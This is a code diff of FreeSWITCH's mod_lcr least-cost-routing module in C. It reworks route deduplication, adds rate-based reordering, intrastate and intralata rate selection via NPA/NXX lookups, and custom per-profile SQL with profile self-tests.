+	}
+	
+	if (newSQL == NULL) {
+		return (char *) custom_sql;
+	} else {
+		return newSQL;
+	}
+}
+
 static switch_bool_t lcr_execute_sql_callback(char *sql, switch_core_db_callback_func_t callback, void *pdata)
 {
+	switch_bool_t retval = SWITCH_FALSE;
+	
+	switch_mutex_lock(globals.db_mutex);
 	if (globals.odbc_dsn) {
-		if(switch_odbc_handle_callback_exec(globals.master_odbc, sql, callback, pdata)
+		if (switch_odbc_handle_callback_exec(globals.master_odbc, sql, callback, pdata)
 				== SWITCH_ODBC_FAIL) {
-			return SWITCH_FALSE;
+			retval = SWITCH_FALSE;
 		} else {
-			return SWITCH_TRUE;
+			retval = SWITCH_TRUE;
 		}
 	}
-	return SWITCH_FALSE;
+	switch_mutex_unlock(globals.db_mutex);
+	return retval;
 }
 
-int route_add_callback(void *pArg, int argc, char **argv, char **columnNames)
+static int route_add_callback(void *pArg, int argc, char **argv, char **columnNames)
 {
 	lcr_route additional = NULL;
 	lcr_route current = NULL;
 	callback_t *cbt = (callback_t *) pArg;
-	char srate[10];
+	char *key = NULL;
 	
+	switch_memory_pool_t *pool = cbt->pool;
+	
+	
+	if (argc < LCR_QUERY_COLS_REQUIRED) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT,
+							"Unexpected number of columns returned for SQL.  Returned column count: %d. "
+							"If using a custom sql for this profile, verify it is correct.  Otherwise file a bug report.\n",
+							argc);
+		return SWITCH_STATUS_GENERR;
+	}
+
+	if (switch_strlen_zero(argv[LCR_GW_PREFIX_PLACE]) && switch_strlen_zero(argv[LCR_GW_SUFFIX_PLACE]) ) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+								"There's no way to dial this Gateway: Carrier: \"%s\" Prefix: \"%s\", Suffix \"%s\"\n",
+								switch_str_nil(argv[LCR_CARRIER_PLACE]),
+								switch_str_nil(argv[LCR_GW_PREFIX_PLACE]), switch_str_nil(argv[LCR_GW_SUFFIX_PLACE]));
+		return SWITCH_STATUS_SUCCESS;
+	}
+
 	cbt->matches++;
+	additional = switch_core_alloc(pool, sizeof(lcr_obj_t));
 
-	switch_zmalloc(additional, sizeof(lcr_obj_t));
-
 	additional->digit_len = strlen(argv[LCR_DIGITS_PLACE]);
-	additional->digit_str = switch_safe_strdup(argv[LCR_DIGITS_PLACE]);
-	additional->suffix = switch_safe_strdup(argv[LCR_SUFFIX_PLACE]);
-	additional->prefix = switch_safe_strdup(argv[LCR_PREFIX_PLACE]);
-	additional->carrier_name = switch_safe_strdup(argv[LCR_CARRIER_PLACE]);
-	additional->rate = (float)atof(argv[LCR_RATE_PLACE]);
-	switch_snprintf(srate, sizeof(srate), "%0.5f", additional->rate);
-	additional->rate_str = switch_safe_strdup(srate);
-	additional->gw_prefix = switch_safe_strdup(argv[LCR_GW_PREFIX_PLACE]);
-	additional->gw_suffix = switch_safe_strdup(argv[LCR_GW_SUFFIX_PLACE]);
-	additional->lstrip = atoi(argv[LCR_LSTRIP_PLACE]);
-	additional->tstrip = atoi(argv[LCR_TSTRIP_PLACE]);
-	additional->dialstring = get_bridge_data(cbt->lookup_number, additional);
+	additional->digit_str = switch_core_strdup(pool, switch_str_nil(argv[LCR_DIGITS_PLACE]));
+	additional->suffix = switch_core_strdup(pool, switch_str_nil(argv[LCR_SUFFIX_PLACE]));
+	additional->prefix = switch_core_strdup(pool, switch_str_nil(argv[LCR_PREFIX_PLACE]));
+	additional->carrier_name = switch_core_strdup(pool, switch_str_nil(argv[LCR_CARRIER_PLACE]));
+	additional->rate = (float)atof(switch_str_nil(argv[LCR_RATE_PLACE]));
+	additional->rate_str = switch_core_sprintf(pool, "%0.5f", additional->rate);
+	additional->gw_prefix = switch_core_strdup(pool, switch_str_nil(argv[LCR_GW_PREFIX_PLACE]));
+	additional->gw_suffix = switch_core_strdup(pool, switch_str_nil(argv[LCR_GW_SUFFIX_PLACE]));
+	additional->lstrip = atoi(switch_str_nil(argv[LCR_LSTRIP_PLACE]));
+	additional->tstrip = atoi(switch_str_nil(argv[LCR_TSTRIP_PLACE]));
+	if (argc > LCR_CODEC_PLACE) {
+		additional->codec = switch_core_strdup(pool, switch_str_nil(argv[LCR_CODEC_PLACE]));
+	}
+	if (argc > LCR_CID_PLACE) {
+		additional->cid = switch_core_strdup(pool, switch_str_nil(argv[LCR_CID_PLACE]));
+	}
+	additional->dialstring = get_bridge_data(pool, cbt->lookup_number, cbt->cid, additional, cbt->profile, cbt->session);
 
 	if (cbt->head == NULL) {
+		key = switch_core_sprintf(pool, "%s:%s", additional->gw_prefix, additional->gw_suffix);
 		additional->next = cbt->head;
 		cbt->head = additional;
-
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Adding %s to head of list\n", additional->carrier_name);
+		if (switch_core_hash_insert(cbt->dedup_hash, key, additional) != SWITCH_STATUS_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error inserting into dedup hash\n");
+			return SWITCH_STATUS_GENERR;
+		}
 		return SWITCH_STATUS_SUCCESS;
 	}
 
+	
 	for (current = cbt->head; current; current = current->next) {
-
-	if (switch_strlen_zero(additional->gw_prefix) && switch_strlen_zero(additional->gw_suffix) ) {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING
-							  , "WTF?!? There's no way to dial this Gateway: Carrier: \"%s\" Prefix: \"%s\", Suffix \"%s\"\n"
-							  , additional->carrier_name
-							  , additional->gw_prefix, additional->gw_suffix
-							  );
+	
+		key = switch_core_sprintf(pool, "%s:%s", additional->gw_prefix, additional->gw_suffix);
+		if (switch_core_hash_find(cbt->dedup_hash, key)) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
+								"Ignoring Duplicate route for termination point (%s)\n",
+								key);
 			break;
 		}
-			
-		if (!strcmp(current->gw_prefix, additional->gw_prefix) && !strcmp(current->gw_suffix, additional->gw_suffix)) {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG
-							  , "Ignoring Duplicate route for termination point (%s:%s)\n"
-							  , additional->gw_prefix, additional->gw_suffix
-							  );
-			switch_safe_free(additional);
-			break;
+
+		if (!cbt->profile->reorder_by_rate) {
+			/* use db order */
+			if (current->next == NULL) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Adding %s to end of list\n", additional->carrier_name);
+				current->next = additional;
+				additional->prev = current;
+				if (switch_core_hash_insert(cbt->dedup_hash, key, additional) != SWITCH_STATUS_SUCCESS) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error inserting into dedup hash\n");
+					return SWITCH_STATUS_GENERR;
+				}
+				break;
+			}
+		} else {
+			if (current->rate > additional->rate) {
+				/* insert myself here */
+				if (current->prev != NULL) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Adding %s before %s\n", 
+										additional->carrier_name, current->carrier_name);
+					current->prev->next = additional;
+				} else {
+					/* put this one at the head */
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Inserting %s to list head before %s\n", 
+										additional->carrier_name, current->carrier_name);
+					cbt->head = additional;
+				}
+				additional->next = current;
+				current->prev = additional;
+				if (switch_core_hash_insert(cbt->dedup_hash, key, additional) != SWITCH_STATUS_SUCCESS) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error inserting into dedup hash\n");
+					return SWITCH_STATUS_GENERR;
+				}
+				break;
+			} else if (current->next == NULL) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "adding %s to end of list after %s\n",
+									additional->carrier_name, current->carrier_name);
+				current->next = additional;
+				additional->prev = current;
+				if (switch_core_hash_insert(cbt->dedup_hash, key, additional) != SWITCH_STATUS_SUCCESS) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error inserting into dedup hash\n");
+					return SWITCH_STATUS_GENERR;
+				}
+				break;
+			}
 		}
-			
-		if (current->next == NULL) {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "adding route to end of list\n");
-			current->next = additional;
-			break;
+	}
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static int intrastatelata_callback(void *pArg, int argc, char **argv, char **columnNames)
+{
+	int count = 0;
+	callback_t *cbt = (callback_t *) pArg;
+	
+	count = atoi(argv[1]);
+	if (count == 1) {
+		if (!strcmp(argv[0], "state")) {
+			cbt->intrastate = SWITCH_TRUE;
+		} else if (!strcmp(argv[0], "lata")) {
+			cbt->intralata = SWITCH_TRUE;
 		}
 	}
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Type: %s, Count: %d\n", argv[0], count);    
+	
 	return SWITCH_STATUS_SUCCESS;
 }
 
-switch_status_t lcr_do_lookup(callback_t *cb_struct, char *digits, char* profile_name)
+static switch_status_t is_intrastatelata(callback_t *cb_struct)
 {
-	/* instantiate the object/struct we defined earlier */
+	char *sql = NULL;
+	
+	/* extract npa nxx - make some assumptions about format:
+		e164 format without the +
+		NANP only (so 11 digits starting with 1)
+	*/
+	if (!cb_struct->lookup_number || (strlen(cb_struct->lookup_number) != 11 && *cb_struct->lookup_number != '1')) {
+		/* dest doesn't appear to be NANP number */
+		return SWITCH_STATUS_GENERR;
+	}
+	if (!cb_struct->cid || (strlen(cb_struct->cid) != 11 && *cb_struct->cid != '1')) {
+		/* cid not NANP */
+		return SWITCH_STATUS_GENERR;
+	}
+	
+	/* assume that if the area code (plus leading 1) are the same we're intrastate */
+	/* probably a bad assumption */
+	/*
+	if (!strncmp(cb_struct->lookup_number, cb_struct->cid, 4)) {
+		cb_struct->intrastate = SWITCH_TRUE;
+		return SWITCH_STATUS_SUCCESS;
+	}
+	*/
+	
+	sql = switch_core_sprintf(cb_struct->pool,
+								"SELECT 'state', count(DISTINCT state) FROM npa_nxx_company_ocn WHERE (npa=%3.3s AND nxx=%3.3s) OR (npa=%3.3s AND nxx=%3.3s)"
+								" UNION "
+								"SELECT 'lata', count(DISTINCT lata) FROM npa_nxx_company_ocn WHERE (npa=%3.3s AND nxx=%3.3s) OR (npa=%3.3s AND nxx=%3.3s)",
+								cb_struct->lookup_number+1, cb_struct->lookup_number+4,
+								cb_struct->cid+1, cb_struct->cid+4,
+								cb_struct->lookup_number+1, cb_struct->lookup_number+4,
+								cb_struct->cid+1, cb_struct->cid+4);
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "SQL: %s\n", sql);    
+
+	return(lcr_execute_sql_callback(sql, intrastatelata_callback, cb_struct));
+	
+}
+
+static switch_status_t lcr_do_lookup(callback_t *cb_struct)
+{
 	switch_stream_handle_t sql_stream = { 0 };
-	size_t n, digit_len = strlen(digits);
+	char *digits = cb_struct->lookup_number;
 	char *digits_copy;
-	profile_t *profile;
+	char *digits_expanded;
+	profile_t *profile = cb_struct->profile;
 	switch_bool_t lookup_status;
+	switch_channel_t *channel;
+	char *id_str;
+	char *safe_sql = NULL;
+	char *rate_field = NULL;
+	
+	switch_assert(cb_struct->lookup_number != NULL);
 
-	if (switch_strlen_zero(digits)) {
-		return SWITCH_FALSE;
+	digits_copy = string_digitsonly(cb_struct->pool, digits);
+	if (switch_strlen_zero(digits_copy)) {
+		return SWITCH_STATUS_GENERR;
 	}
 	
-	/* locate the profile */
-	if(switch_strlen_zero(profile_name)) {
-		profile = globals.default_profile;
-	} else if (!(profile = switch_core_hash_find(globals.profile_hash, profile_name))) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error invalid profile %s\n", profile_name);
-		return SWITCH_STATUS_FALSE;
+	/* allocate the dedup hash */
+	if (switch_core_hash_init(&cb_struct->dedup_hash, cb_struct->pool) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error initializing the dedup hash\n");
+		return SWITCH_STATUS_GENERR;
 	}
+	
+	digits_expanded = expand_digits(cb_struct->pool, digits_copy, cb_struct->profile->quote_in_list);
+	
+	if (profile->profile_has_npanxx == SWITCH_TRUE) {
+		is_intrastatelata(cb_struct);
+	}
+	
+	/* set our rate field based on env and profile */
+	if (cb_struct->intralata == SWITCH_TRUE && profile->profile_has_intralata == SWITCH_TRUE) {
+		rate_field = switch_core_strdup(cb_struct->pool, "intralata_rate");
+	} else if (cb_struct->intrastate == SWITCH_TRUE && profile->profile_has_intrastate == SWITCH_TRUE) {
+		rate_field = switch_core_strdup(cb_struct->pool, "intrastate_rate");
+	} else {
+		rate_field = switch_core_strdup(cb_struct->pool, "rate");
+	}
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "intra routing [state:%d lata:%d] so rate field is [%s]\n",
+					  cb_struct->intrastate, cb_struct->intralata, rate_field);
+	
+	/* set some channel vars if we have a session */
+	if (cb_struct->session) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "we have a session\n");
+		if ((channel = switch_core_session_get_channel(cb_struct->session))) {
+			switch_channel_set_variable_var_check(channel, "lcr_rate_field", rate_field, SWITCH_FALSE);
+			switch_channel_set_variable_var_check(channel, "lcr_query_digits", digits_copy, SWITCH_FALSE);
+			id_str = switch_core_sprintf(cb_struct->pool, "%d", cb_struct->profile->id);
+			switch_channel_set_variable_var_check(channel, "lcr_query_profile", id_str, SWITCH_FALSE);
+			switch_channel_set_variable_var_check(channel, "lcr_query_expanded_digits", digits_expanded, SWITCH_FALSE);
+		}
+	}
+	if (cb_struct->event) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "we have an event\n");
+		switch_event_add_header_string(cb_struct->event, SWITCH_STACK_BOTTOM, "lcr_rate_field", rate_field);
+		switch_event_add_header_string(cb_struct->event, SWITCH_STACK_BOTTOM, "lcr_query_digits", digits_copy);
+		id_str = switch_core_sprintf(cb_struct->pool, "%d", cb_struct->profile->id);
+		switch_event_add_header_string(cb_struct->event, SWITCH_STACK_BOTTOM, "lcr_query_profile", id_str);
+		switch_event_add_header_string(cb_struct->event, SWITCH_STACK_BOTTOM, "lcr_query_expanded_digits", digits_expanded);
+	}
 
-	SWITCH_STANDARD_STREAM(sql_stream);
-
 	/* set up the query to be executed */
-	sql_stream.write_function(&sql_stream, 
-							  "SELECT l.digits, c.carrier_name, l.rate, cg.prefix AS gw_prefix, cg.suffix AS gw_suffix, l.lead_strip, l.trail_strip, l.prefix, l.suffix "
-							  );
-	sql_stream.write_function(&sql_stream, "FROM lcr l JOIN carriers c ON l.carrier_id=c.id JOIN carrier_gateway cg ON c.id=cg.carrier_id WHERE c.enabled = '1' AND cg.enabled = '1' AND l.enabled = '1' AND digits IN (");
-	digits_copy = string_digitsonly(digits);
-	for (n = digit_len; n > 0; n--) {
-		digits_copy[n] = '\0';
-		sql_stream.write_function(&sql_stream, "%s%s", (n==digit_len ? "" : ", "), digits_copy);
+	/* format the custom_sql */
+	safe_sql = format_custom_sql(profile->custom_sql, cb_struct, digits_copy);
+	if (!safe_sql) {
+		switch_event_safe_destroy(&cb_struct->event);
+		switch_core_hash_destroy(&cb_struct->dedup_hash);
+		return SWITCH_STATUS_GENERR;
 	}
-	switch_safe_free(digits_copy);
-	sql_stream.write_function(&sql_stream, ") AND CURRENT_TIMESTAMP BETWEEN date_start AND date_end ");
-	if(profile->id > 0) {
-		sql_stream.write_function(&sql_stream, "AND lcr_profile=%d ", profile->id);
+	SWITCH_STANDARD_STREAM(sql_stream);
+	sql_stream.write_function(&sql_stream, safe_sql);
+	if (safe_sql != profile->custom_sql) {
+		/* channel_expand_variables returned the same string to us, no need to free */
+		switch_safe_free(safe_sql);
 	}
-	sql_stream.write_function(&sql_stream, "ORDER BY digits DESC%s", profile->order_by);
-	if(db_random) {
-		sql_stream.write_function(&sql_stream, ", %s", db_random);
-	}
-	sql_stream.write_function(&sql_stream, ";");
 	
-	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "%s\n", (char *)sql_stream.data);    
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "SQL: %s\n", (char *)sql_stream.data);    
 	
 	lookup_status = lcr_execute_sql_callback((char *)sql_stream.data, route_add_callback, cb_struct);
+
 	switch_safe_free(sql_stream.data);
-	
-	if(lookup_status) {
+	switch_event_safe_destroy(&cb_struct->event);
+	switch_core_hash_destroy(&cb_struct->dedup_hash);
+
+	if (lookup_status) {
 		return SWITCH_STATUS_SUCCESS;
 	} else {
 		return SWITCH_STATUS_GENERR;
 	}
 }
 
+static switch_bool_t test_profile(char *lcr_profile)
+{
+	callback_t routes = { 0 };
+	switch_memory_pool_t *pool = NULL;
+	switch_event_t *event = NULL;
+
+	switch_core_new_memory_pool(&pool);
+	switch_event_create(&event, SWITCH_EVENT_MESSAGE);
+	routes.event = event;
+	routes.pool = pool;
+	
+	if (!(routes.profile = locate_profile(lcr_profile))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unknown profile: %s\n", lcr_profile);
+		return SWITCH_FALSE;
+	}
+	
+	routes.lookup_number = "15555551212";
+	routes.cid = "18005551212";
+	return (lcr_do_lookup(&routes) == SWITCH_STATUS_SUCCESS) ?
+	        SWITCH_TRUE : SWITCH_FALSE;
+}
+
 static switch_status_t lcr_load_config()
 {
 	char *cf = "lcr.conf";
+	switch_stream_handle_t sql_stream = { 0 };
 	switch_xml_t cfg, xml, settings, param, x_profile, x_profiles;
 	switch_status_t status = SWITCH_STATUS_SUCCESS;
 	char *odbc_user = NULL;
@@ -421,40 +853,68 @@
 		}
 	}
 	
-	/* define default profile  */
-	profile = switch_core_alloc(globals.pool, sizeof(*profile));
-	profile->name = "global_default";
-	profile->order_by = ", rate";
-	globals.default_profile = profile;
+	/* initialize sql here, 'cause we need to verify custom_sql for each profile below */
+	if (globals.odbc_dsn) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO
+						  , "dsn is \"%s\", user is \"%s\", and password is \"%s\"\n"
+						  , globals.odbc_dsn, odbc_user, odbc_pass
+						  );
+		if (!(globals.master_odbc = switch_odbc_handle_new(globals.odbc_dsn, odbc_user, odbc_pass))) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot Open ODBC Database!\n");
+			status = SWITCH_STATUS_FALSE;
+			goto done;
+		}
+		if (switch_odbc_handle_connect(globals.master_odbc) != SWITCH_ODBC_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot Open ODBC Database!\n");
+			status = SWITCH_STATUS_FALSE;
+			goto done;
+		}
+	}
 	
+	if (set_db_random() == SWITCH_TRUE) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Database RANDOM function set to %s\n", db_random);
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to determine database RANDOM function\n");
+	};
+
 	switch_core_hash_init(&globals.profile_hash, globals.pool);
-	if((x_profiles = switch_xml_child(cfg, "profiles"))) {
+	if ((x_profiles = switch_xml_child(cfg, "profiles"))) {
 		for (x_profile = switch_xml_child(x_profiles, "profile"); x_profile; x_profile = x_profile->next) {
 			char *name = (char *) switch_xml_attr_soft(x_profile, "name");
+			char *comma = ", ";
 			switch_stream_handle_t order_by = { 0 };
+			switch_stream_handle_t *thisorder = NULL;
+			char *reorder_by_rate = NULL;
+			char *quote_in_list = NULL;
+			char *info_in_headers = NULL;
 			char *id_s = NULL;
+			char *custom_sql = NULL;
 			int argc, x = 0;
 			char *argv[4] = { 0 };
 			
 			SWITCH_STANDARD_STREAM(order_by);
+
 			for (param = switch_xml_child(x_profile, "param"); param; param = param->next) {
 				char *var, *val;
 
 				var = (char *) switch_xml_attr_soft(param, "name");
 				val = (char *) switch_xml_attr_soft(param, "value");
 				
-				if (!strcasecmp(var, "order_by") && !switch_strlen_zero(val)) {
+				if (!strcasecmp(var, "order_by")  && !switch_strlen_zero(val)) {
+					thisorder = &order_by;
 					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "param val is %s\n", val);
 					if ((argc = switch_separate_string(val, ',', argv, (sizeof(argv) / sizeof(argv[0]))))) {
 						for (x=0; x<argc; x++) {
 							switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "arg #%d/%d is %s\n", x, argc, argv[x]);
-							if(!switch_strlen_zero(argv[x])) {
+							if (!switch_strlen_zero(argv[x])) {
 								if (!strcasecmp(argv[x], "quality")) {
-									order_by.write_function(&order_by, ", quality DESC");
-								} else if(!strcasecmp(argv[x], "reliability")) {
-									order_by.write_function(&order_by, ", reliability DESC");
+									thisorder->write_function(thisorder, "%s quality DESC", comma);
+								} else if (!strcasecmp(argv[x], "reliability")) {
+									thisorder->write_function(thisorder, "%s reliability DESC", comma);
+								} else if (!strcasecmp(argv[x], "rate")) {
+									thisorder->write_function(thisorder, "%s ${lcr_rate_field}", comma);
 								} else {
-									order_by.write_function(&order_by, ", %s", argv[x]);
+									thisorder->write_function(thisorder, "%s %s", comma, argv[x]);
 								}
 							} else {
 								switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "arg #%d is empty\n", x);
@@ -462,121 +922,225 @@
 						}
 					} else {
 						if (!strcasecmp(val, "quality")) {
-							order_by.write_function(&order_by, ", quality DESC");
-						} else if(!strcasecmp(val, "reliability")) {
-							order_by.write_function(&order_by, ", reliability DESC");
+							thisorder->write_function(thisorder, "%s quality DESC", comma);
+						} else if (!strcasecmp(val, "reliability")) {
+							thisorder->write_function(thisorder, "%s reliability DESC", comma);
 						} else {
-							order_by.write_function(&order_by, ", %s", val);
+							thisorder->write_function(thisorder, "%s %s", comma, val);
 						}
 					}
 				} else if (!strcasecmp(var, "id") && !switch_strlen_zero(val)) {
 					id_s = val;
+				} else if (!strcasecmp(var, "custom_sql") && !switch_strlen_zero(val)) {
+					custom_sql = val;
+				} else if (!strcasecmp(var, "reorder_by_rate") && !switch_strlen_zero(val)) {
+					reorder_by_rate = val;
+				} else if (!strcasecmp(var, "info_in_headers") && !switch_strlen_zero(val)) {
+					info_in_headers = val;
+				} else if (!strcasecmp(var, "quote_in_list") && !switch_strlen_zero(val)) {
+					quote_in_list = val;
 				}
 			}
 			
-			if(switch_strlen_zero(name)) {
+			if (switch_strlen_zero(name)) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No name specified.\n");
 			} else {
 				profile = switch_core_alloc(globals.pool, sizeof(*profile));
+				memset(profile, 0, sizeof(profile_t));
 				profile->name = switch_core_strdup(globals.pool, name);
 				
-				if(!switch_strlen_zero((char *)order_by.data)) {
+				if (!switch_strlen_zero((char *)order_by.data)) {
 					profile->order_by = switch_core_strdup(globals.pool, (char *)order_by.data);
-					switch_safe_free(order_by.data);
 				} else {
 					/* default to rate */
-					profile->order_by = ", rate";
+					profile->order_by = ", ${lcr_rate_field}";
 				}
-				if(!switch_strlen_zero(id_s)) {
-					profile->id = atoi(id_s);
+
+				if (!switch_strlen_zero(id_s)) {
+					profile->id = (uint16_t)atoi(id_s);
 				}
 				
+				/* SWITCH_STANDARD_STREAM doesn't use pools.  but we only have to free sql_stream.data */
+				SWITCH_STANDARD_STREAM(sql_stream);
+				if (switch_strlen_zero(custom_sql)) {
+					/* use default sql */
+					sql_stream.write_function(&sql_stream, 
+											  "SELECT l.digits, c.carrier_name, l.${lcr_rate_field}, cg.prefix AS gw_prefix, cg.suffix AS gw_suffix, l.lead_strip, l.trail_strip, l.prefix, l.suffix "
+											  );
+					if (db_check("SELECT codec from carrier_gateway limit 1") == SWITCH_TRUE) {
+						sql_stream.write_function(&sql_stream, ", cg.codec ");
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "codec field defined.\n");
+					} else {
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "codec field not defined, please update your lcr carrier_gateway database schema.\n");
+					}
+					if (db_check("SELECT cid from lcr limit 1") == SWITCH_TRUE) {
+						sql_stream.write_function(&sql_stream, ", l.cid ");
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "cid field defined.\n");
+					} else {
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "cid field not defined, please update your lcr database schema.\n");
+					}
+					sql_stream.write_function(&sql_stream, "FROM lcr l JOIN carriers c ON l.carrier_id=c.id JOIN carrier_gateway cg ON c.id=cg.carrier_id WHERE c.enabled = '1' AND cg.enabled = '1' AND l.enabled = '1' AND digits IN (");
+					sql_stream.write_function(&sql_stream, "${lcr_query_expanded_digits}");
+					sql_stream.write_function(&sql_stream, ") AND CURRENT_TIMESTAMP BETWEEN date_start AND date_end ");
+					if (profile->id > 0) {
+						sql_stream.write_function(&sql_stream, "AND lcr_profile=%d ", profile->id);
+					}
+					sql_stream.write_function(&sql_stream, "ORDER BY digits DESC%s", 
+															profile->order_by);
+					if (db_random) {
+						sql_stream.write_function(&sql_stream, ", %s", db_random);
+					}
+					sql_stream.write_function(&sql_stream, ";");
+					
+					custom_sql = sql_stream.data;
+				}
+				
+				
+				profile->profile_has_intralata = db_check("SELECT intralata_rate FROM lcr LIMIT 1");
+				if (profile->profile_has_intralata != SWITCH_TRUE) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, 
+									  "no \"intralata_rate\" field found in the \"lcr\" table, routing by intralata rates will be disabled until the field is added and mod_lcr is reloaded\n"
+									  );
+				}
+				profile->profile_has_intrastate = db_check("SELECT intrastate_rate FROM lcr LIMIT 1");
+				if (profile->profile_has_intrastate != SWITCH_TRUE) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, 
+									  "no \"intrastate_rate\" field found in the \"lcr\" table, routing by intrastate rates will be disabled until the field is added and mod_lcr is reloaded\n"
+									  );
+				}
+				
+				profile->profile_has_npanxx = db_check("SELECT npa, nxx, state FROM npa_nxx_company_ocn LIMIT 1");
+				if (profile->profile_has_npanxx != SWITCH_TRUE) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, 
+									  "no \"npa_nxx_company_ocn\" table found in the \"lcr\" database, automatic intrastate detection will be disabled until the table is added and mod_lcr is reloaded\n"
+									  );
+				}
+
+				if (switch_string_var_check_const(custom_sql) || switch_string_has_escaped_data(custom_sql)) {
+					profile->custom_sql_has_vars = SWITCH_TRUE;
+				}
+				if (strstr(custom_sql, "%")) {
+					profile->custom_sql_has_percent = SWITCH_TRUE;
+				}
+				profile->custom_sql = switch_core_strdup(globals.pool, (char *)custom_sql);
+				
+				if (!switch_strlen_zero(reorder_by_rate)) {
+					profile->reorder_by_rate = switch_true(reorder_by_rate);
+				}
+				
+				if (!switch_strlen_zero(info_in_headers)) {
+					profile->info_in_headers = switch_true(info_in_headers);
+				}
+				
+				if (!switch_strlen_zero(quote_in_list)) {
+					profile->quote_in_list = switch_true(quote_in_list);
+				}
+				
 				switch_core_hash_insert(globals.profile_hash, profile->name, profile);
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Loaded lcr profile %s.\n", profile->name);
+				/* test the profile */
+				if (test_profile(profile->name) == SWITCH_TRUE) {
+					if (!strcasecmp(profile->name, "default")) {
+						globals.default_profile = profile;
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Setting user defined default profile: %s.\n", profile->name);
+					}
+				} else {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Removing INVALID Profile %s.\n", profile->name);
+					switch_core_hash_delete(globals.profile_hash, profile->name);
+				}
+				
 			}
+			switch_safe_free(order_by.data);
+			switch_safe_free(sql_stream.data);
 		}
 	} else {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "No lcr profiles defined.\n");
 	}
 	
+	/* define default profile  */
+	if (!globals.default_profile) {
+		profile = switch_core_alloc(globals.pool, sizeof(*profile));
+		memset(profile, 0, sizeof(profile_t));
+		profile->name = "global_default";
+		profile->order_by = ", rate";
+		globals.default_profile = profile;
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Setting system defined default profile.");
+	}
 
-	
-	if (globals.odbc_dsn) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO
-						  , "dsn is \"%s\", user is \"%s\", and password is \"%s\"\n"
-						  , globals.odbc_dsn, odbc_user, odbc_pass
-						  );
-		if (!(globals.master_odbc = switch_odbc_handle_new(globals.odbc_dsn, odbc_user, odbc_pass))) {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot Open ODBC Database!\n");
-			status = SWITCH_STATUS_FALSE;
-			goto done;
-		}
-		if (switch_odbc_handle_connect(globals.master_odbc) != SWITCH_ODBC_SUCCESS) {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot Open ODBC Database!\n");
-			status = SWITCH_STATUS_FALSE;
-			goto done;
-		}
-	}
- done:
+	done:
 	switch_xml_free(xml);
 	return status;
 }
 
-static void destroy_list(lcr_route *head)
-{
-	lcr_route cur = NULL, top = *head;
-
-	while (top) {
-		cur = top;
-		top = top->next;
-		switch_safe_free(cur->digit_str);
